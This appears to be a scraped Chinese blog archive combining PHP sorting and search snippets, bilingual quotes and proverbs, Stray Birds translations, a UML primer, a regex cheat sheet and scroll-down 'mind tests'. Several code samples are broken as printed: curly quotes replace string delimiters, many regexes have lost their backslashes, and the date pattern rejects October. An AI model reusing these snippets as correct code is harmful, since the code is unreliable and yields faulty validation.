foreach($keysort as $key => $val) {
$new_array[$key] = $arr[$val];
}
return $new_array;
}
4. 使用五种以上方式获取一个文件的扩展名
function get_ext1($file_name){
return strrchr($file_name, ”.”);
}
function get_ext2($file_name){
return substr($file_name, strrpos($file_name, ”.”));
}
function get_ext3($file_name){
return array_pop(explode(”.”, $file_name));
}
function get_ext4($file_name){
$p = pathinfo($file_name);
return $p[''extension''];
}
function get_ext5($file_name){
return strrev(substr(strrev($file_name), 0, strpos(strrev($file_name), ”.”)));

一些重要的php算法和应用

1. 使用PHP描述冒泡排序和快速排序算法,对象可以是一个数组//冒泡排序(数组排序) function bubble_sort($array) {         $count = count($array);         if ($count <= 0) return false;         for($i=0; $i<$count; $i++){                 for($j=$count-1; $j>$i; $j–){                         if ($array[$j] < $array[$j-1]){                                 $tmp = $array[$j];                                 $array[$j] = $array[$j-1];                                 $array[$j-1] = $tmp;                         }                 }         }         return $array; } //快速排序(数组排序) function quick_sort($array) {         if (count($array) <= 1) return $array;         $key = $array[0];         $left_arr = array();         $right_arr = array();         for ($i=1; $i<count($array); $i++){                 if ($array[$i] <= $key)                         $left_arr[] = $array[$i];                 else                         $right_arr[] = $array[$i];         }         $left_arr = quick_sort($left_arr);         $right_arr = quick_sort($right_arr);         return array_merge($left_arr, array($key), $right_arr); }
2. 使用PHP描述顺序查找和二分查找(也叫做折半查找)算法,顺序查找必须考虑效率,对象可以是一个有序数组//二分查找(数组里查找某个元素) function bin_sch($array, $low, $high, $k){      if ($low <= $high){          $mid = intval(($low+$high)/2);          if ($array[$mid] == $k){              return $mid;          }elseif ($k < $array[$mid]){              return bin_sch($array, $low, $mid-1, $k);          }else{              return bin_sch($array, $mid+1, $high, $k);          }      }      return -1;  }  //顺序查找(数组里查找某个元素) function seq_sch($array, $n, $k){      $array[$n] = $k;      for($i=0; $i<$n; $i++){          if($array[$i]==$k){              break;          }      }      if ($i<$n){          return $i;      }else{          return -1;      }  }
3. 写一个二维数组排序算法函数,能够具有通用性,可以调用php内置函数//二维数组排序, $arr是数据,$keys是排序的健值,$order是排序规则,1是升序,0是降序function array_sort($arr, $keys, $order=0) {if (!is_array($arr)) {  return false;}$keysvalue = array();foreach($arr as $key => $val) {  $keysvalue[$key] = $val[$keys];}if($order == 0){  asort($keysvalue);}else {  arsort($keysvalue);}reset($keysvalue);foreach($keysvalue as $key => $vals) {  $keysort[$key] = $key;}$new_array = array();foreach($keysort as $key => $val) {  $new_array[$key] = $arr[$val];}return $new_array;} 4. 使用五种以上方式获取一个文件的扩展名function get_ext1($file_name){return strrchr($file_name, ”.”);}function get_ext2($file_name){return substr($file_name, strrpos($file_name, ”.”));}function get_ext3($file_name){return array_pop(explode(”.”, $file_name));}function get_ext4($file_name){$p = pathinfo($file_name);return $p[''extension''];}function get_ext5($file_name){return strrev(substr(strrev($file_name), 0, strpos(strrev($file_name), ”.”)));

英文可以这么美

1。如果只是遇见,不能停留,不如不遇见。
If we can only encounter each other rather than stay with each other,then I wish we had never encountered.
2。宁愿笑着流泪,也不哭着说后悔。心碎了,还需再补吗?
I would like weeping with the smile rather than repenting with the cry,when my heart is broken ,is it needed to fix?
3。没有谁对不起谁,只有谁不懂得珍惜 谁。
No one indebted for others,while many people don’t know how to cherish others.
4。命里有时钟需有 命里无时莫强求
You will have it if it belongs to you,whereas you don’t kvetch for it if it doesn’t appear in your life.
5。当香烟爱上火柴时,就注定受到伤害
When a cigarette falls in love with a match,it is destined to be hurt.
6。爱情…在指缝间承诺 指缝…。在爱情下交缠。
Love ,promised between the fingers
Finger rift,twisted in the love
7。 没有人值得你流泪,值得让你这么做的人不会让你哭泣。
No man or woman is worth your tears, and the one who is, won’t make you cry.
8。记住该记住的,忘记该忘记的。改变能改变的,接受不能改变的。
Remember what should be remembered, and forget what should be forgotten.Alter what is changeable, and accept what is unchangeable.

Love is like a butterfly. It goes where it pleases and it pleases where it goes.
爱情就像一只
蝴蝶,它喜欢飞到里,就把欢乐带到哪里。
If I had a single flower for every time I think about you, I could walk forever in my garden.
假如每次想起你我都会得到一朵鲜花,那么我将永远在花丛中徜徉。
Within you I lose myself, without you I find myself wanting to be lost again.
有了 你,我迷失了自我。失去你,我多么希望自己再度迷失。
At the touch of love everyone becomes a poet.
每一个沐浴在爱河中的人都是诗人。
Look into my eyes – you will see what you mean to me.
看看我的眼睛,你会发现你对我而言意味着什么。
Distance makes the hearts grow fonder.
距离使两颗心靠得更近。
I need him like I need the air to breathe.
我需要他,正如我需要呼吸空气。
If equal affection cannot be, let the more loving be me.
如果没有相等的爱,那就让我爱多一些吧。
Love is a vine that grows into our hearts.
爱是长在我们心里的藤蔓。
If I know what love is, it is because of you.
因为你,我懂得了爱。
Love is the greatest refreshment in life.
爱情是生活最好的提神剂。
Love never dies.
爱情永不死。
The darkness is no darkness with thee.
有了你,黑暗不再是黑暗。
We cease loving ourselves if no one loves us.
如果没有人爱我们,我们也就不会再爱自己了。
There is no remedy for love but to love more.
治疗爱的创伤唯有加倍地去爱。
When love is not madness, it is not love.
如果爱不疯狂就不是爱了。
A heart that loves is always young.
有爱的心永远年轻。
Love is blind.
爱情是盲目的。

1.A bad workman always blames his tools. 拙匠总怪工具差。
2.A contented mind is a perpetual feast. 知足长乐。
3.A good beginning is half the battle. 好的开端等于成功一半。
4.A little pot is soon hot. 壶小易热,量小易怒。
5.All lay loads on a willing horse. 好马重负。
6.A merry heart goes all the way. 心情愉快,万事顺利 。
7.Bad excuses are worse than none. 狡辩比不辩护还糟 。
8.Character is the first and last word in the success circle.
人的品格是事业成功的先决条件。
9.Cleanliness is next to godliness. 整洁近于美德 。
10.Courtesy costs nothing. 彬彬有礼,惠而不费 。
11.Doing nothing is doing ill. 无所事事,必干坏事。
12.Early to bed, early to rise, make a man healthy, wealthy, and wise.
睡得早,起得早,聪明、富裕、身体好 。
13.Empty vessels make the most noise. 满瓶子不响,半瓶子晃荡 。
14.Every man hath his weak side. 人皆有弱点 。
15.Everything ought to be beautiful in a human being: face, dress, soul and idea.
人的一切都应当是美丽的:容貌、衣着、心灵和思想。
16.Extremes are dangerous. 凡事走向极端是危险的 。
17.Good advice is harsh to the ear. 忠言逆耳 。
18.Grasp all, lose all. 欲尽得,必尽失 。
19.Great hopes make great men. 伟大的理想造就伟大的人物。
20.Handsome is he who does handsomely. 行为美者才真美。
21.Have but few friends, though many acquaintances. 结交可广,知己宜少。
22.Hear all parties.兼听则明,偏听则暗 。
23.He is a wise man who speaks little. 智者寡言。
24.He is not laughed at that laughs at himself first.
有自知之明者被人尊敬。
25.He is rich enough that wants nothing.
无欲者最富有,贪欲者最贫穷。
26.He is truly happy who makes others happy.
使他人幸福的人,是真正的幸福。
27.Honesty is the best policy. 诚实乃上策。
28.Hope for the best and prepare for the worst.?? 抱最好的希望,作最坏的准备 。
29.Idleness is the root of all evil. 懒惰是万恶之源 。
30.If we dream, everything is possible. 敢于梦想,一切都将成为可能。
31.Kind hearts are the gardens, kind thoughts are the roots, kind words are flowers and kind deeds are the fruits.
仁慈的心田是花园,崇高的思想是根茎,友善的言语是花朵,良好的行为是果实。
32.Laugh, and the world laughs with you; Weep, and you weep lone.
欢笑,整个世界伴你欢笑。哭泣,只有你独自 向隅而泣 。
33.Life is measured by thought and action not by time.
衡量 生命的尺度是思想和行为,而不是时间。
34.Life is not all beer and skittles. 人生并非尽是乐事 。
35.Long absent, soon forgotten. 别久情疏 。
36.Look before you leap. 三思而后行 。
37.Lookers-on see most of the game. 旁观者清,当局者迷。
38.Manners make the man.观其待人而知其人 。
39.Misfortune tests the sincerity of friends. 患难识知交。
40.No cross, no crown.没有苦难,就没有快乐 。
41.Nobody’s enemy but his own. 自寻苦恼 。
42.One man’s fault is another man’s lesson. 前车之覆,后车之鉴 。
43.Pardon all men, but never thyself. 严以律已,宽以待人。
44.Reason is the guide and light of life. 理智是人生的灯塔 。
45.Sadness and gladness succeed one another. 乐极生悲,苦尽甘来 。
46.Still waters run deep.流静水深,人静心深 。
47.The fire is the test of gold; adversity of strong men. 烈火炼真金,逆境炼壮士 。
48.The fox may grow grey, but never good. 江山易改,本性难移 。
49.The more a man learns, the more he sees his ignorance. 知识越广博,越感已无知 。
50.Virtue is a jewel of great price. 美德是无价之宝 。
51.Weak things united become strong. 一根筷子易折断,十根筷子硬如铁 。
52.We can’t judge a person by what he says but by what he does.
判断一个人,不听言语看行动 。
53.Where there is a will there is a way. 有志者,事竟成 。
54.Will is power. 意志就是力量 。
55.Wise men are silent; fools talk. 智者沉默寡言,愚者滔滔不绝 。
56.Wise men learn by others’ harm, fools by their own.
智者以他人挫折为鉴,愚者必自身碰壁方知觉。

1
夏天的飞鸟,飞到我的窗前唱歌,又飞去了。
秋天的黄叶,它们没有什么可唱,只叹息一声,飞落在那 里。
stray birds of summer come to my window to sing and fly away.
and yellow leaves of autumn, which have no songs, flutter and fall
there with a sign.
2
世界上的一队小小的漂泊者呀,请留下你们的足印在我的文字里。
o troupe of little vagrants of the world, leave your footprints in my words.
3
世 界对着它的爱人,把它浩翰的面具揭下了。
它变小了,小如一首歌,小如一回永恒的接吻。
the world puts off its mask of vastness to its lover.
it becomes small as one song, as one kiss of the eternal.
4
是大地的泪点,使她的微笑保持着青春不谢。
it is the tears of the earth that keep here smiles in bloom.
5
无垠的沙漠热烈追求一叶绿草的爱, 她摇摇头笑着飞开了。
the mighty desert is burning for the love of a bladeof grass who
shakes her head and laughs and flies away.
6
如果你因失 去了太阳而流泪,那么你也将失去群星了。
if you shed tears when you miss the sun, you also miss the stars.
7
跳舞着的流水呀,在你途中的泥沙,要求你的歌声,你的流动呢。你肯挟
瘸足的泥 沙而俱下么?
the sands in your way beg for your song and your movement, dancing
water. will you carry the burden of their lameness?
8
她 的热切的脸,如夜雨似的,搅扰着我的梦魂。
her wishful face haunts my dreams like the rain at night.
9
有一次,我们梦见大家都是不相识的。
我们醒了,却知道我们原是相亲相爱的。
once we dreamt that we were strangers.
we wake up to find that we were dear to each other.
10
忧思在我的心里平静下去,正如暮色降临在寂静的山林中。
sorrow is hushed into peace in my heart like the evening among
the silent trees

A star has 5 ends;

A square has 4 ends;

A triangle has 3 ends;

A line has 2 ends;

A life has one end.

But I hope your happiness has no end.

1. 记住该记住的,忘记该忘记的。改变能改变的,接受不能改变的。
Remember what should be remembered, and forget what should be forgotten. Alter what is changeable, and accept what is mutable.
2.鱼对水说你看不到我的眼泪,因为我在水里。水说我能感觉到你的眼泪,因为你在我心里。
“You couldn’t see my tears cause I am in the water.” Fish said to water.
“But I could feel your tears cause you are in my heart.” Answered water.
3. 人生短短几十年,不要给自己留下了什么遗憾,想笑就笑,想哭就哭,该爱的时候就去爱,无谓压抑自己。
Your life only lasts for a few decades, so be sure that you don’t leave any regrets. Laugh or cry as you like, and it‘s meaningless to oppress yourself.
4. 生命中,不断地有人进入或离开。于是,看见的,看不见了;记住的,遗忘了。生命中,不断地有得到和失落。于是,看不见的,看见了;遗忘的,记住了。然而, 看不见的,是不是就等于不存在?记住的,是不是永远不会消失?
There is someone that is coming or passing away in your life around the clock, so you may lose sight of those seen, and forget those remembered. There is gain and loss in your life, so you may catch sight of those unseen, and remember those forgotten. Nevertheless, doesn’t the unseen exist for sure? Will the remembered remain forever?
5. 后悔是一种耗费精神的情绪。后悔是比损失更大的损失,比错误更大的错误。所以不要后悔。
Penitence is something that enervates our spirit, causing a greater loss than the loss itself and making a bigger mistake than the mistake itself. So never regret.

五分钟讲清楚UML

1.      前言

最近一段时间做项目,需要做机能模块的设计。客户方指名要用UML图作设计资料。

但是跟日本人打了这么多年交道,UML图是什么东西,我早就忘记光了,没办法,只好从头查资料。

于是做出来了这样一个资料,把我学习UML的方法和结论告诉大家,让大家在5分钟之内都能学会UML。

2.     第一分钟 作为Object的表现形式的模型技术

进入UML技术的说明之前,我们首先来谈谈Object指向技术。Object指向是软件开发的一种先进技术,正如[Object]名字所暗示的,该技术的所有考虑出发点都是Object.

使用Object可以提高大型软件项目的开发效率和速度。

所谓的Object指向,就是说要把复杂的问题细化分解,用图表的方式表达出来。比如下图:

如上图所示,一个好的模型能够正确的合理的表达复杂的意思。上图中复杂的路径信息经过简化之后就会变成清晰可见的模型图。

但是,模型图的画法是各种各样的,如何才能准确的统一的画出来呢?请看下节:

3.     第二分钟 作为统一表达模型的UML技术

如上所示,用图形来表达复杂的逻辑和需求是个很好的选择和做法。

但是每个人的思路都不一样,每个人画出来的图也都不一样,怎么样才能让大家都能听得懂对方的思路呢。

在这个时候,UML登场了。UML是1997年由OMG组织推出来的,全球统一的模型图形技术。

4.     第三分钟UML技术可以提高分析和设计的精度

在没有UML技术的时候,大家都知道随口乱说。

需求分析的时候,客户随口说说需求。

系统设计的时候,架构是随口说说设计。

程序开发的时候,开发者随口编写程序。

一切都是无序和混乱的,但是

有了UML就不会再出现这种问题了。

所有的交流和文档都能够有一种大家都能听得懂的好方法传递,这就是UML。

5.     第四分钟UML的内容

如下所示,我们可以这样使用UML技术

软件开发阶段 UML图 用途
需求分析阶段 用例图 搞清楚系统服务的要求
类图 搞清楚具体的技术概念
系统设计阶段 类图 表达系统的构造
时序图 表达对象的动作

并且在很多自动开发工具之中,可以根据以上图形自动生成代码。

6.     第五分钟 UML是必须的知识

对于现代软件开发和管理而言,UML是必需的知识,无论是外包还是内包,UML都是不可或缺的技术。

常用正则表达式

平时做网站经常要用正则表达式,下面是一些讲解和例子,仅供大家参考和修改使用:
“^\d+$”  //非负整数(正整数 + 0)
“^[0-9]*[1-9][0-9]*$”  //正整数
“^((-\d+)|(0+))$”  //非正整数(负整数 + 0)
“^-[0-9]*[1-9][0-9]*$”  //负整数
“^-?\d+$”    //整数
“^\d+(\.\d+)?$”  //非负浮点数(正浮点数 + 0)
“^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$”  //正浮点数
“^((-\d+(\.\d+)?)|(0+(\.0+)?))$”  //非正浮点数(负浮点数 + 0)
“^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$”  //负浮点数
“^(-?\d+)(\.\d+)?$”  //浮点数
“^[A-Za-z]+$”  //由26个英文字母组成的字符串
“^[A-Z]+$”  //由26个英文字母的大写组成的字符串
“^[a-z]+$”  //由26个英文字母的小写组成的字符串
“^[A-Za-z0-9]+$”  //由数字和26个英文字母组成的字符串
“^\w+$”  //由数字、26个英文字母或者下划线组成的字符串
“^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$”    //email地址
“^[a-zA-z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$”  //url
/^(d{2}|d{4})-((0([1-9]{1}))|(1[1|2]))-(([0-2]([1-9]{1}))|(3[0|1]))$/   //  年-月-日
/^((0([1-9]{1}))|(1[1|2]))/(([0-2]([1-9]{1}))|(3[0|1]))/(d{2}|d{4})$/   // 月/日/年
“^([w-.]+)@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.)|(([w-]+.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(]?)$”   //Emil
/^((\+?[0-9]{2,4}\-[0-9]{3,4}\-)|([0-9]{3,4}\-))?([0-9]{7,8})(\-[0-9]+)?$/     //电话号码
“^(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5]).(d{1,2}|1dd|2[0-4]d|25[0-5])$”   //IP地址

匹配中文字符的正则表达式: [\u4e00-\u9fa5]
匹配双字节字符(包括汉字在内):[^\x00-\xff]
匹配空行的正则表达式:\n[\s| ]*\r
匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/
匹配首尾空格的正则表达式:(^\s*)|(\s*$)
匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*
匹配网址URL的正则表达式:^[a-zA-z]+://(\\w+(-\\w+)*)(\\.(\\w+(-\\w+)*))*(\\?\\S*)?$
匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$
匹配国内电话号码:(\d{3}-|\d{4}-)?(\d{8}|\d{7})?
匹配腾讯QQ号:^[1-9]*[1-9][0-9]*$

元字符及其在正则表达式上下文中的行为:

\ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个后向引用、或一个八进制转义符。

^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的Multiline 属性,^ 也匹配 ’\n’ 或 ’\r’ 之后的位置。

$ 匹配输入字符串的结束位置。如果设置了 RegExp 对象的Multiline 属性,$ 也匹配 ’\n’ 或 ’\r’ 之前的位置。

* 匹配前面的子表达式零次或多次。

+ 匹配前面的子表达式一次或多次。+ 等价于 {1,}。

? 匹配前面的子表达式零次或一次。? 等价于 {0,1}。

{n} n 是一个非负整数,匹配确定的n 次。

{n,} n 是一个非负整数,至少匹配n 次。

{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。在逗号和两个数之间不能有空格。

? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。

. 匹配除 “\n” 之外的任何单个字符。要匹配包括 ’\n’ 在内的任何字符,请使用象 ’[.\n]’ 的模式。
(pattern) 匹配pattern 并获取这一匹配。

(?:pattern) 匹配pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。

(?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。

(?!pattern) 负向预查,与(?=pattern)作用相反

x|y 匹配 x 或 y。

[xyz] 字符集合。

[^xyz] 负值字符集合。

[a-z] 字符范围,匹配指定范围内的任意字符。

[^a-z] 负值字符范围,匹配任何不在指定范围内的任意字符。

\b 匹配一个单词边界,也就是指单词和空格间的位置。

\B 匹配非单词边界。

\cx 匹配由x指明的控制字符。

\d 匹配一个数字字符。等价于 [0-9]。

\D 匹配一个非数字字符。等价于 [^0-9]。

\f 匹配一个换页符。等价于 \x0c 和 \cL。

\n 匹配一个换行符。等价于 \x0a 和 \cJ。

\r 匹配一个回车符。等价于 \x0d 和 \cM。

\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。

\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。

\t 匹配一个制表符。等价于 \x09 和 \cI。

\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。

\w 匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’。

\W 匹配任何非单词字符。等价于 ’[^A-Za-z0-9_]’。

\xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。

\num 匹配 num,其中num是一个正整数。对所获取的匹配的引用。

\n 标识一个八进制转义值或一个后向引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。

\nm 标识一个八进制转义值或一个后向引用。如果 \nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后向引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。

\nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。

\un 匹配 n,其中 n 是一个用四个十六进制数字表示的Unicode字符。

匹配中文字符的正则表达式: [u4e00-u9fa5]

匹配双字节字符(包括汉字在内):[^x00-xff]

匹配空行的正则表达式:n[s| ]*r

匹配HTML标记的正则表达式:/<(.*)>.*</1>|<(.*) />/

匹配首尾空格的正则表达式:(^s*)|(s*$)

匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*

匹配网址URL的正则表达式:http://([w-]+.)+[w-]+(/[w- ./?%&=]*)?

利用正则表达式限制网页表单里的文本框输入内容:

用正则表达式限制只能输入中文:onkeyup=”value=value.replace(/[^u4E00-u9FA5]/g,”)” onbeforepaste=”clipboardData.setData(‘text’,clipboardData.getData(‘text’).replace(/[^u4E00-u9FA5]/g,”))”

用正则表达式限制只能输入全角字符: onkeyup=”value=value.replace(/[^uFF00-uFFFF]/g,”)” onbeforepaste=”clipboardData.setData(‘text’,clipboardData.getData(‘text’).replace(/[^uFF00-uFFFF]/g,”))”

用正则表达式限制只能输入数字:onkeyup=”value=value.replace(/[^d]/g,”) “onbeforepaste=”clipboardData.setData(‘text’,clipboardData.getData(‘text’).replace(/[^d]/g,”))”

用正则表达式限制只能输入数字和英文:onkeyup=”value=value.replace(/[W]/g,”) “onbeforepaste=”clipboardData.setData(‘text’,clipboardData.getData(‘text’).replace(/[^d]/g,”))”

=========常用正则式

匹配中文字符的正则表达式: [\u4e00-\u9fa5]

匹配双字节字符(包括汉字在内):[^\x00-\xff]

匹配空行的正则表达式:\n[\s| ]*\r

匹配HTML标记的正则表达式:/<(.*)>.*<\/\1>|<(.*) \/>/

匹配首尾空格的正则表达式:(^\s*)|(\s*$)

匹配IP地址的正则表达式:/(\d+)\.(\d+)\.(\d+)\.(\d+)/g //

匹配Email地址的正则表达式:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*

匹配网址URL的正则表达式:http://(/[\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)?

sql语句:^(select|drop|delete|create|update|insert).*$

1、非负整数:^\d+$

2、正整数:^[0-9]*[1-9][0-9]*$

3、非正整数:^((-\d+)|(0+))$

4、负整数:^-[0-9]*[1-9][0-9]*$

5、整数:^-?\d+$

6、非负浮点数:^\d+(\.\d+)?$

7、正浮点数:^((0-9)+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$

8、非正浮点数:^((-\d+\.\d+)?)|(0+(\.0+)?))$

9、负浮点数:^(-((正浮点数正则式)))$

10、英文字符串:^[A-Za-z]+$

11、英文大写串:^[A-Z]+$

12、英文小写串:^[a-z]+$

13、英文字符数字串:^[A-Za-z0-9]+$

14、英数字加下划线串:^\w+$

15、E-mail地址:^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$

16、URL:^[a-zA-Z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\s*)?$
或:^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\’:+!]*([^<>\"\"])*$

17、邮政编码:^[1-9]\d{5}$

18、中文:^[\u0391-\uFFE5]+$

19、电话号码:^((\(\d{2,3}\))|(\d{3}\-))?(\(0\d{2,3}\)|0\d{2,3}-)?[1-9]\d{6,7}(\-\d{1,4})?$

20、手机号码:^((\(\d{2,3}\))|(\d{3}\-))?13\d{9}$

21、双字节字符(包括汉字在内):^\x00-\xff

22、匹配首尾空格:(^\s*)|(\s*$)(像vbscript那样的trim函数)

23、匹配HTML标记:<(.*)>.*<\/\1>|<(.*) \/>

24、匹配空行:\n[\s| ]*\r

25、提取信息中的网络链接:(h|H)(r|R)(e|E)(f|F) *= *(‘|”)?(\w|\\|\/|\.)+(‘|”| *|>)?

26、提取信息中的邮件地址:\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*

27、提取信息中的图片链接:(s|S)(r|R)(c|C) *= *(‘|”)?(\w|\\|\/|\.)+(‘|”| *|>)?

28、提取信息中的IP地址:(\d+)\.(\d+)\.(\d+)\.(\d+)

29、提取信息中的中国手机号码:(86)*0*13\d{9}

30、提取信息中的中国固定电话号码:(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}

31、提取信息中的中国电话号码(包括移动和固定电话):(\(\d{3,4}\)|\d{3,4}-|\s)?\d{7,14}

32、提取信息中的中国邮政编码:[1-9]{1}(\d+){5}

33、提取信息中的浮点数(即小数):(-?\d*)\.?\d+

34、提取信息中的任何数字 :(-?\d*)(\.\d+)?

35、IP:(\d+)\.(\d+)\.(\d+)\.(\d+)

36、电话区号:/^0\d{2,3}$/

37、腾讯QQ号:^[1-9]*[1-9][0-9]*$

38、帐号(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$

39、中文、英文、数字及下划线:^[\u4e00-\u9fa5_a-zA-Z0-9]+$

几乎没人逃得过的超准思维定向测试!

切记要慢慢,请不要第一次就看完了全部!一定要慢慢的往下看!这样你才能真的体会到真的很很诡异的喔!
请第一次看到这个测试的朋友,首先静下心来,认真的,快速的用自己的心算来坐下面这个测试,看清楚要求,真实的说出当时的第一个脑子里面的答案,才能看出这个测试的最有效的结果!谢谢!
很诡异喔!!! 但要以最快速的时间心算所看到的数学程序,然后回答问题!开始啰!往下走,并答题吧!
2+2=?
************
************
************
************
************
************
************
4+4=?
************
************
************
************
************
************
************
************
8+8=?
************
************
************
************
************
************
************
************

16+16=?
************
************
************
************
************
************
************
************
快!随便在12跟5的中间挑一个数字!
************
************
************
************
************
************
************
挑了吗?现在继续往下….
************
************
************
************
************
************
************
************

你挑的数字是”7″,对吧!

************

继续作下一个实验!跟着下列叙述并且快速回答问题!算算看啰!

1+5
************
************
************
************
************
************
************
************

2+4
************
************
************
************
************
************
************
************
3+3
************
************
************
************
************
************
************
************
4+2
************
************
************
************
************
************
************
************
5+1
************
************
************
************
************
************
************
************
************

现在持续默念”6″这个数字15秒,然后往下卷动画面!

************
************
************
************
************
************
************
************

快!想一个蔬菜的名字!然后继续往下卷动作!
************
************
************

继续卷动…….
************
************
************
************
************
************
************
************
************
************
************
************

你想的是大白菜,对吧!如果不是,你是占2%可以在正常情形下还可以有余力思考别的事的少数人口,98%的人会回答大白菜。诡异哦!听说这个测验是从爱丽丝梦游仙境中兔子国翻译的……
再来做一个测试> > > > >你是否正常﹖

> > > > >請跟著以下的指示,盡快地回答以下的問題,但要先完成一个問題才回答下一個。你不需要寫下答案,只要心算便可。

15+6是多少?
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
3+56
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>

89+2
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
12+53
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
75+26
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
75+26
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
25+52
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>

63+32
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>

123+5
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>

快!!!心想一種工具和一種顏色!
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>

你剛剛想的是否紅红色的鎚子(chui zi)﹖
> > > >>如果答案不是的話,你就是2%的與別人不同的人∕不正常人,通常98%的人做會回答紅色的鎚子怎么样!准确吧!

继续作下一个实验!
跟着下列叙述并且快速回答问题!
算算看啰!
************
************
3+78=?
************
************
************
************
************
************
1+5
************
************
************
************
************
************
************

2+4
************
************
************
************
************
************
************

3+3
************
************
************
************
************
************
************

4+2
************
************
************
************
************
************
************

5+1
************
************
************
************
************
************
************

现在持续默念”6″这个数字15秒,然后往下卷动画面!
************
************
************
************
************
************
************
快!说出一种水果的名字!然后继续往下卷动作!
************
************
************
************
************
************
************
继续卷动…….
************
************
************
************
************
8+329=?
************
************
************
************
************
************
**********

27+7=?
***********
快卷动
************
************
************
************
************
************

说出一个面部器官
***********
***********
************
************
************
************
************
************
************
************
************

说出一种家禽的名字
************
************
************
************
************
************
************
************
哈哈,是苹果和鼻子和鸡,对不对?
不准耍耍赖,对了给我顶一下哟!!!

PHP入门的学习方法

每个人的学习方式不同,写这篇文章的目的是分享一下自己的学习过程,仅供参考,不要一味的用别人的学习方法,找对自己有用的学习方式

经常在某些论坛和QQ群里看到一些朋友会问“怎样才能学好PHP,怎样才能学好***语言 ”,但别人回答最多的是:从最“简单”的开始。

这个简单也许真的不简单,呵呵。下面我想分享一下自己学习的一些过程。
先说些费话,语言组织能力差,说了不少费话,愿意看的就看,不要骂我就行

其实学习一门新语言并不是太难,重要的是你有没有准备好去学好它,时间的长短和个人的能力和决心有关。黑客界也流行一句话就是“没有入侵不了的计算机”,这句话大概的意思是说:如果你的技术比维护这台计算机的管理员更胜一筹,那么就能拿下这台计算机甚至能拿下这个管理员管理的所有计算机,如果技不如人,只能继续学习超过对方。我说这些话的意思就是让准备学习陌生语言朋友一定要下决心去学习,只要你下了决心去学了,就一定能学好,千万不要半途而废。(退一万步来说,即使是没学好,但你懂的必然比别人多)

了解什么是最简单:

1、网页的基本构成就是html代码,所以必须熟悉HTML/CSS/JS等基本元素
2、熟悉PHP语法,了解PHP和HTML的运行方式,学习将PHP与HTML结合完成简单页面

PHP手册是比较好的入门老师
…..

影响学习进度和程序强大是否的几个可能因素:
1、记忆力

一门语言的强大是否,应该看它的函数库和代码执行效率。
每门语言都是有自己强大的函数库,要学好它,就必须得花很多的时间去记忆,良好的记忆力能使学习达到事半功倍的效果。

2、数学和逻辑思维

这个当然不是绝对影响,因为看开发项目的复杂程度。
小的项目不需要太多的数学和逻辑思维能力,但如果是开发类似于财务或大量运算相关项目,这一点就是非常重要了。

3、有其它语言的基础

